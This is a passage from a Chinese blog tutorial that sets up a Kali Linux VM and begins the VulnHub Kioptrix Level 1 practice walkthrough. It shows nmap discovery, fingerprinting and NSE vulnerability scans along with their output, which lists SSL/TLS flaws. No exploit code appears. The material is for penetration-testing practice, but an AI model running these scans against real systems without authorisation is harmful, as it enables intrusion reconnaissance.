&lt;p&gt;然后在终端中更新镜像源并升级软件包。注意看源是否已经换成清华源。若你的网络对于清华源还是慢，可以参考&lt;a class="link" href="https://blog.csdn.net/ak450203619/article/details/142287625" target="_blank" rel="noopener"
 &gt;Kali 2024更换源（超详细，附国内优质镜像源地址）_kali换源&lt;/a&gt;选择其他源。更新升级会占用大量时间，但这是必须的。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;apt update
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;apt upgrade
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123095450808" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123095450808.png"&gt;&lt;/p&gt;
&lt;p&gt;安装或更新完成后，会遗留一些软件的安装包，会占用部分硬盘空间，可使用下面的命令来对其进行清理&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;apt-get clean
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="设置锁屏时间为从不"&gt;设置锁屏时间为从不
&lt;/h4&gt;&lt;p&gt;不然经常切换应用后要输入&lt;code&gt;kali:kali&lt;/code&gt;登录。左键点击电池图标，选择设置，找到安全性，设置锁屏时间为从不（never）&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123100601223" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123100601223.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123100539585" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123100539585.png"&gt;&lt;/p&gt;
&lt;h4 id="配置ssh服务"&gt;配置ssh服务
&lt;/h4&gt;&lt;p&gt;输入命令：&lt;code&gt;vim /etc/ssh/sshd_config&lt;/code&gt;
将下面的命令改为yes&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;PasswordAuthentication yes 密码验证改为yes
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;输入命令：&lt;code&gt;service ssh start&lt;/code&gt; 开启ssh服务
输入命令：&lt;code&gt;update-rc.d ssh enable&lt;/code&gt; 设置为开机自启动
不要忘记 &lt;code&gt;reboot&lt;/code&gt; （重启kali虚拟机）&lt;/p&gt;
&lt;p&gt;这样你就可以在虚拟机以外利用shell软件进行远程的访问。方便复制粘贴一些命令，有时候在kali中复制粘贴会有问题，然后就是截屏不方便。&lt;/p&gt;
&lt;p&gt;我个人是喜欢使用&lt;a class="link" href="https://mobaxterm.mobatek.net/download.html" target="_blank" rel="noopener"
 &gt;MobaXterm&lt;/a&gt;来作为我的shell而不是默认终端。关注公众号&lt;code&gt;泷羽Sec-静安&lt;/code&gt;，后台回复&lt;code&gt;找工具+Day2&lt;/code&gt;获取镜像和相关软件。先在原本的kali中输入&lt;code&gt;ifconfig&lt;/code&gt;查看kali的网段，然后从mobaXterm中连接ssh登录kali即可。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123104231212" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123104231212.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123104215087" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123104215087.png"&gt;&lt;/p&gt;
&lt;h4 id="汉化"&gt;汉化
&lt;/h4&gt;&lt;p&gt;我的建议是没有必要汉化，因为目前很多OSCP的资料还是英文的比较权威，汉化后不一定能一步一步找着英文教材对应的软件名字，还有一些细节的按钮。但是如果你实在觉得看着英文难受，觉得中文界面学习更方便的话，可以使用&lt;code&gt;dpkg-reconfigure locales&lt;/code&gt;命令选择按照汉化，然后重启，重启后会有提示框询问是否修改文件夹语言，记得一定要选择&lt;strong&gt;否&lt;/strong&gt;，&lt;strong&gt;保留旧的英文名称&lt;/strong&gt;，因为有一些安全工具，不支持中文路径，与其后期麻烦的改来改去纠结路径问题，不如全部保留英文路径。也建议在之后的学习中，保持起英文文件夹名字的习惯，用英文也好用拼音也好，总之要是英文字母的文件名。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123101649496" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123101649496.png"&gt;&lt;/p&gt;
&lt;p&gt;至此，一个基本的好用的Kali已经设置完毕，可以开始靶机练习了。&lt;/p&gt;
&lt;h2 id="kioptix-level-1-练习"&gt;Kioptix Level 1 练习
&lt;/h2&gt;
 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://www.vulnhub.com/entry/kioptrix-level-1-1,22/" target="_blank" rel="noopener"
 &gt;https://www.vulnhub.com/entry/kioptrix-level-1-1,22/&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="image-20250123105706538" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123105706538.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123105744760" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123105744760.png"&gt;&lt;/p&gt;
&lt;h3 id="nmap扫描"&gt;Nmap扫描
&lt;/h3&gt;&lt;p&gt;输入&lt;code&gt;ifconfig&lt;/code&gt;查看kali本机的网段。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123104231212" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123104231212.png"&gt;&lt;/p&gt;
&lt;p&gt;输入 &lt;code&gt;nmap -sn kali的ip/24&lt;/code&gt;探查网段，实战过程是通过vpn链接，进去后能查看网段。或 &lt;code&gt;nmap -p- kali的ip/24&lt;/code&gt;探查所有网段。
&lt;img alt="image-20250123105930933" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123105930933.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123110740538" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123110740538.png"&gt;&lt;/p&gt;
&lt;p&gt;可以发现129有一个80端口，在kali浏览器中访问可以看到如下界面：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123110557441" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123110557441.png"&gt;&lt;/p&gt;
&lt;p&gt;接下来探查端口指纹&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt; nmap 192.168.139.129 -p 22,80,111,139,443,1024 -sV -sC -O --version-al
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123111133960" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123111133960.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123111327130" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123111327130.png"&gt;&lt;/p&gt;
&lt;p&gt;然后用漏洞扫描&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nmap 192.168.139.129 -p 22,80,111,139,443,1024 --script&lt;span class="o"&gt;=&lt;/span&gt;vuln
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;得到输出&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;┌──(kali㉿kali)-[~]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;└─$ nmap 192.168.139.129 -p 22,80,111,139,443,1024 --script=vuln
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-22 22:14 EST
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;Stats: 0:00:06 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;NSE Timing: About 0.00% done
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;Nmap scan report for 192.168.139.129
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;Host is up (0.00025s latency).
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;PORT STATE SERVICE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 10&lt;/span&gt;&lt;span class="cl"&gt;22/tcp open ssh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 11&lt;/span&gt;&lt;span class="cl"&gt;80/tcp open http
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 12&lt;/span&gt;&lt;span class="cl"&gt;|_http-stored-xss: Couldn&amp;#39;t find any stored XSS vulnerabilities.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 13&lt;/span&gt;&lt;span class="cl"&gt;|_http-csrf: Couldn&amp;#39;t find any CSRF vulnerabilities.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 14&lt;/span&gt;&lt;span class="cl"&gt;|_http-dombased-xss: Couldn&amp;#39;t find any DOM based XSS.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 15&lt;/span&gt;&lt;span class="cl"&gt;|_http-trace: TRACE is enabled
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 16&lt;/span&gt;&lt;span class="cl"&gt;| http-enum:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 17&lt;/span&gt;&lt;span class="cl"&gt;| /test.php: Test page
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 18&lt;/span&gt;&lt;span class="cl"&gt;| /icons/: Potentially interesting directory w/ listing on &amp;#39;apache/1.3.20&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 19&lt;/span&gt;&lt;span class="cl"&gt;| /manual/: Potentially interesting directory w/ listing on &amp;#39;apache/1.3.20&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 20&lt;/span&gt;&lt;span class="cl"&gt;|_ /usage/: Potentially interesting folder
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 21&lt;/span&gt;&lt;span class="cl"&gt;111/tcp open rpcbind
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 22&lt;/span&gt;&lt;span class="cl"&gt;139/tcp open netbios-ssn
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 23&lt;/span&gt;&lt;span class="cl"&gt;443/tcp open https
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 24&lt;/span&gt;&lt;span class="cl"&gt;|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 25&lt;/span&gt;&lt;span class="cl"&gt;| ssl-poodle:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 26&lt;/span&gt;&lt;span class="cl"&gt;| VULNERABLE:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 27&lt;/span&gt;&lt;span class="cl"&gt;| SSL POODLE information leak
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 28&lt;/span&gt;&lt;span class="cl"&gt;| State: VULNERABLE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 29&lt;/span&gt;&lt;span class="cl"&gt;| IDs: CVE:CVE-2014-3566 BID:70574
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 30&lt;/span&gt;&lt;span class="cl"&gt;| The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 31&lt;/span&gt;&lt;span class="cl"&gt;| products, uses nondeterministic CBC padding, which makes it easier
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 32&lt;/span&gt;&lt;span class="cl"&gt;| for man-in-the-middle attackers to obtain cleartext data via a
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 33&lt;/span&gt;&lt;span class="cl"&gt;| padding-oracle attack, aka the &amp;#34;POODLE&amp;#34; issue.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 34&lt;/span&gt;&lt;span class="cl"&gt;| Disclosure date: 2014-10-14
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 35&lt;/span&gt;&lt;span class="cl"&gt;| Check results:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 36&lt;/span&gt;&lt;span class="cl"&gt;| TLS_RSA_WITH_3DES_EDE_CBC_SHA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 37&lt;/span&gt;&lt;span class="cl"&gt;| References:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 38&lt;/span&gt;&lt;span class="cl"&gt;| https://www.imperialviolet.org/2014/10/14/poodle.html
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 39&lt;/span&gt;&lt;span class="cl"&gt;| https://www.openssl.org/~bodo/ssl-poodle.pdf
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 40&lt;/span&gt;&lt;span class="cl"&gt;| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 41&lt;/span&gt;&lt;span class="cl"&gt;|_ https://www.securityfocus.com/bid/70574
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 42&lt;/span&gt;&lt;span class="cl"&gt;|_http-csrf: Couldn&amp;#39;t find any CSRF vulnerabilities.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 43&lt;/span&gt;&lt;span class="cl"&gt;| ssl-dh-params:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 44&lt;/span&gt;&lt;span class="cl"&gt;| VULNERABLE:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 45&lt;/span&gt;&lt;span class="cl"&gt;| Transport Layer Security (TLS) Protocol DHE_EXPORT Ciphers Downgrade MitM (Logjam)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 46&lt;/span&gt;&lt;span class="cl"&gt;| State: VULNERABLE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 47&lt;/span&gt;&lt;span class="cl"&gt;| IDs: CVE:CVE-2015-4000 BID:74733
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 48&lt;/span&gt;&lt;span class="cl"&gt;| The Transport Layer Security (TLS) protocol contains a flaw that is
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 49&lt;/span&gt;&lt;span class="cl"&gt;| triggered when handling Diffie-Hellman key exchanges defined with
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 50&lt;/span&gt;&lt;span class="cl"&gt;| the DHE_EXPORT cipher. This may allow a man-in-the-middle attacker
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 51&lt;/span&gt;&lt;span class="cl"&gt;| to downgrade the security of a TLS session to 512-bit export-grade
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 52&lt;/span&gt;&lt;span class="cl"&gt;| cryptography, which is significantly weaker, allowing the attacker
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 53&lt;/span&gt;&lt;span class="cl"&gt;| to more easily break the encryption and monitor or tamper with
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 54&lt;/span&gt;&lt;span class="cl"&gt;| the encrypted stream.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 55&lt;/span&gt;&lt;span class="cl"&gt;| Disclosure date: 2015-5-19
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 56&lt;/span&gt;&lt;span class="cl"&gt;| Check results:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 57&lt;/span&gt;&lt;span class="cl"&gt;| EXPORT-GRADE DH GROUP 1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 58&lt;/span&gt;&lt;span class="cl"&gt;| Cipher Suite: TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 59&lt;/span&gt;&lt;span class="cl"&gt;| Modulus Type: Safe prime
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 60&lt;/span&gt;&lt;span class="cl"&gt;| Modulus Source: mod_ssl 2.0.x/512-bit MODP group with safe prime modulus
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 61&lt;/span&gt;&lt;span class="cl"&gt;| Modulus Length: 512
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 62&lt;/span&gt;&lt;span class="cl"&gt;| Generator Length: 8
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 63&lt;/span&gt;&lt;span class="cl"&gt;| Public Key Length: 512
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 64&lt;/span&gt;&lt;span class="cl"&gt;| References:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 65&lt;/span&gt;&lt;span class="cl"&gt;| https://www.securityfocus.com/bid/74733
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 66&lt;/span&gt;&lt;span class="cl"&gt;| https://weakdh.org
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 67&lt;/span&gt;&lt;span class="cl"&gt;| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4000
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 68&lt;/span&gt;&lt;span class="cl"&gt;|
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 69&lt;/span&gt;&lt;span class="cl"&gt;| Diffie-Hellman Key Exchange Insufficient Group Strength
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 70&lt;/span&gt;&lt;span class="cl"&gt;| State: VULNERABLE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 71&lt;/span&gt;&lt;span class="cl"&gt;| Transport Layer Security (TLS) services that use Diffie-Hellman groups
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 72&lt;/span&gt;&lt;span class="cl"&gt;| of insufficient strength, especially those using one of a few commonly
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 73&lt;/span&gt;&lt;span class="cl"&gt;| shared groups, may be susceptible to passive eavesdropping attacks.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 74&lt;/span&gt;&lt;span class="cl"&gt;| Check results:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 75&lt;/span&gt;&lt;span class="cl"&gt;| WEAK DH GROUP 1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 76&lt;/span&gt;&lt;span class="cl"&gt;| Cipher Suite: TLS_DHE_RSA_WITH_DES_CBC_SHA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 77&lt;/span&gt;&lt;span class="cl"&gt;| Modulus Type: Safe prime
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 78&lt;/span&gt;&lt;span class="cl"&gt;| Modulus Source: mod_ssl 2.0.x/1024-bit MODP group with safe prime modulus
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 79&lt;/span&gt;&lt;span class="cl"&gt;| Modulus Length: 1024
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 80&lt;/span&gt;&lt;span class="cl"&gt;| Generator Length: 8
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 81&lt;/span&gt;&lt;span class="cl"&gt;| Public Key Length: 1024
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 82&lt;/span&gt;&lt;span class="cl"&gt;| References:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 83&lt;/span&gt;&lt;span class="cl"&gt;|_ https://weakdh.org
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 84&lt;/span&gt;&lt;span class="cl"&gt;|_http-stored-xss: Couldn&amp;#39;t find any stored XSS vulnerabilities.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 85&lt;/span&gt;&lt;span class="cl"&gt;| ssl-ccs-injection:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 86&lt;/span&gt;&lt;span class="cl"&gt;| VULNERABLE:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 87&lt;/span&gt;&lt;span class="cl"&gt;| SSL/TLS MITM vulnerability (CCS Injection)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 88&lt;/span&gt;&lt;span class="cl"&gt;| State: VULNERABLE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 89&lt;/span&gt;&lt;span class="cl"&gt;| Risk factor: High
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 90&lt;/span&gt;&lt;span class="cl"&gt;| OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 91&lt;/span&gt;&lt;span class="cl"&gt;| does not properly restrict processing of ChangeCipherSpec messages,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 92&lt;/span&gt;&lt;span class="cl"&gt;| which allows man-in-the-middle attackers to trigger use of a zero
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 93&lt;/span&gt;&lt;span class="cl"&gt;| length master key in certain OpenSSL-to-OpenSSL communications, and
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 94&lt;/span&gt;&lt;span class="cl"&gt;| consequently hijack sessions or obtain sensitive information, via
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 95&lt;/span&gt;&lt;span class="cl"&gt;| a crafted TLS handshake, aka the &amp;#34;CCS Injection&amp;#34; vulnerability.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 96&lt;/span&gt;&lt;span class="cl"&gt;|
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 97&lt;/span&gt;&lt;span class="cl"&gt;| References:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 98&lt;/span&gt;&lt;span class="cl"&gt;| http://www.cvedetails.com/cve/2014-0224
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 99&lt;/span&gt;&lt;span class="cl"&gt;| http://www.openssl.org/news/secadv_20140605.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;100&lt;/span&gt;&lt;span class="cl"&gt;|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;101&lt;/span&gt;&lt;span class="cl"&gt;|_http-dombased-xss: Couldn&amp;#39;t find any DOM based XSS.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;102&lt;/span&gt;&lt;span class="cl"&gt;|_sslv2-drown: ERROR: Script execution failed (use -d to debug)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;103&lt;/span&gt;&lt;span class="cl"&gt;1024/tcp open kdm
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;104&lt;/span&gt;&lt;span class="cl"&gt;MAC Address: 00:0C:29:3B:F8:BB (VMware)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;105&lt;/span&gt;&lt;span class="cl"&gt;
